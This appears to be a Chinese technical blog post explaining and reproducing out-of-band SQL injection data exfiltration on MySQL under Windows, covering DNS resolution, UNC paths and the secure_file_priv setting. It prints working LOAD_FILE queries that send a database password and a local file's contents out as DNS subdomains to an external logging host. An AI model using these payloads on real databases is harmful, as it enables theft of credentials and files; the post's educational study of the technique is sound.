数据库out of band攻击【原理分析 复现】

本文深入探讨了数据库out of band攻击的原理,通过DNS查询过程的解释,展示了如何利用Windows资源管理器的角度进行攻击。文章详细介绍了数据库漏洞复现,特别是MySQL的`secure_file_priv`参数的影响,并提供了复现步骤。此外,还讨论了漏洞的限制,如Windows系统依赖和MySQL版本差异。最后,提到了该技术在内网穿透和DNS隧道中的潜在应用,并推荐了相关工具和资源。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.youkuaiyun.com/jiangjunshow

也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴!

                       

这个问题已经是去年提出的了,之前也看到过,在CTF题目环境中利用过却对原理不慎了解,在公司大佬们的帮助下成功了理解了一波原理。这里对原理进行一波总结,并利用了CEYE平台成功的进行了原理复现利用。
博客原文地址:http://blog.youkuaiyun.com/wy_97/article/details/79094001

原理分析

这个虽然是利用到了比如说mysql的LOAD_FILE函数,其实本质还是对window的资源管理器的一个利用,利用协议//去进行一个子域名的DNS解析,将你需要的(你取得的一些有用信息当做子域名信息给传递出来)
先了解下DNS解析的基本原理吧

一张图解释DNS查询

这里写图片描述
下面来详细解释DNS域名解析的过程:

  1. 网络客户端就是我们平常使用的电脑,打开浏览器,输入一个域名。比如输入www.163.com,这时,你使用的电脑会发出一个DNS请求到本地DNS服务器。本地DNS服务器一般都是你的网络接入服务器商提供,比如中国电信,中国移动。

  2. 查询www.163.com的DNS请求到达本地DNS服务器之后,本地DNS服务器会首先查询它的缓存记录,如果缓存中有此条记录,就可以直接返回结果。如果没有,本地DNS服务器还要向DNS根服务器进行查询。

  3. 根DNS服务器没有记录具体的域名和IP地址的对应关系,而是告诉本地DNS服务器,你可以到域服务器上去继续查询,并给出域服务器的地址。

  4. 本地DNS服务器继续向域服务器发出请求,在这个例子中,请求的对象是.com域服务器。.com域服务器收到请求之后,也不会直接返回域名和IP地址的对应关系,而是告诉本地DNS服务器,你的域名的解析服务器的地址。

  5. 最后,本地DNS服务器向域名的解析服务器发出请求,这时就能收到一个域名和IP地址对应关系,本地DNS服务器不仅要把IP地址返回给用户电脑,还要把这个对应关系保存在缓存中,以备下次别的用户查询时,可以直接返回结果,加快网络访问。

总结:当你查询abc.hack.com这个子域名时,dns服务器hack.com会收到你的解析请求,这里就是out_of_band利用的原理了

windows资源管理器角度

为什么我说这是对windows资源管理器的利用,这里进行演示
当你在资源管理器地址栏输入:

\\test.u0ocor.ceye.io\\abc#u0ocor.ceye.io是我申请账号的dns解析服务器地址
  
  
  
  • 1
  • 2

你的测试账号服务器就会收到DNS解析请求,并记录(资源管理器这里不好截图)
这里写图片描述

数据库漏洞复现

当你存在注入点的时候,如果这个查询并不会对你进行一个回显,这个out_of_band就非常有用了,这里并未进行后端查询代码的设计了,直接从数据库开始
测试环境:

                 
机器 操作系统 配置
A机 win7 mysql环境,对secure进行了修改
B机 win10 mysql环境,未对secure进行了修改

参数secure_file_priv

这个参数是全局变量,可以通过下列语句进行查询:

A机mysql> select @@secure_file_priv;+--------------------+| @@secure_file_priv |+--------------------+|                    |+--------------------+1 row in set (0.00 sec)B机mysql> select @@secure_file_priv;+------------------------------------------------+| @@secure_file_priv                             |+------------------------------------------------+| C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\ |+------------------------------------------------+
  
  
  
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

解释:
这个变量用于限制数据导入和导出操作造成的影响,例如由LOAD DATA 和SELECT…INTO OUTFILE语句和LOAD_FILE()函数执行的操作。

  • 如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。
  • 如果变量为空,则不会产生影响,引起不安全的配置。
  • 如果变量设置为NULL,那么服务器就会禁用导入和导出操作。这个值从MySQL 5.5.53版本开始允许。

在MySQL 5.5.53之前,此变量默认为空,因此我们就可以使用这些函数。但是在5.5.53之后的版本中,NULL值会禁用这些功能。(根据两台测试机器不同版本的mysql来判断,会默认为mysql的一个/upload根目录下)
补充一下两个机器的mysql版本:

A机mysql> select @@version;+-----------+| @@version |+-----------+| 5.7.19    |+-----------+1 row in set (0.00 sec)B机mysql> select @@version;+------------+| @@version  |+------------+| 5.7.17-log |+------------+1 row in set (0.00 sec)
  
  
  
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

复现

在满足上述全局变量的条件下,注意四个点:

  • 最大查询长度问题,文件的大小限制
  • 文件编码是否和数据库相同
  • 绝对路径需要使用//
  • 子域名最大长度问题,DNS规定,域名中的标号都由英文字母和数字组成,每一个标号不超过63个字符,也不区分大小写字母。标号中除连字符(-)外不能使用其他的标点符号。

下面进行演示:

A机:mysql> use test;Database changedmysql> select * from test;+------+----------+| name | password |+------+----------+| abc  | 123456   |+------+----------+1 row in set (0.01 sec)mysql> SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM test),'.u0ocor.ceye.io\\abc'));^C -- query aborted+------------------------------------------------------------------------------+| LOAD_FILE(CONCAT('\\\\',(SELECT password FROM test),'.u0ocor.ceye.io\\abc')) |+------------------------------------------------------------------------------++------------------------------------------------------------------------------+1 row in set (21.19 sec)
  
  
  
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

效果如图:
这里写图片描述

B机mysql> select load_file(concat('////',(load_file("C://ProgramData//MySQL//MySQL Server 5.7//Uploads//test.txt")),'.u0ocor.ceye.io\\abc'));+-----------------------------------------------------------------------------------------------------------------------------+| load_file(concat('////',(load_file("C://ProgramData//MySQL//MySQL Server 5.7//Uploads//test.txt")),'.u0ocor.ceye.io\\abc')) |+-----------------------------------------------------------------------------------------------------------------------------+| NULL                                                                                             &n
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值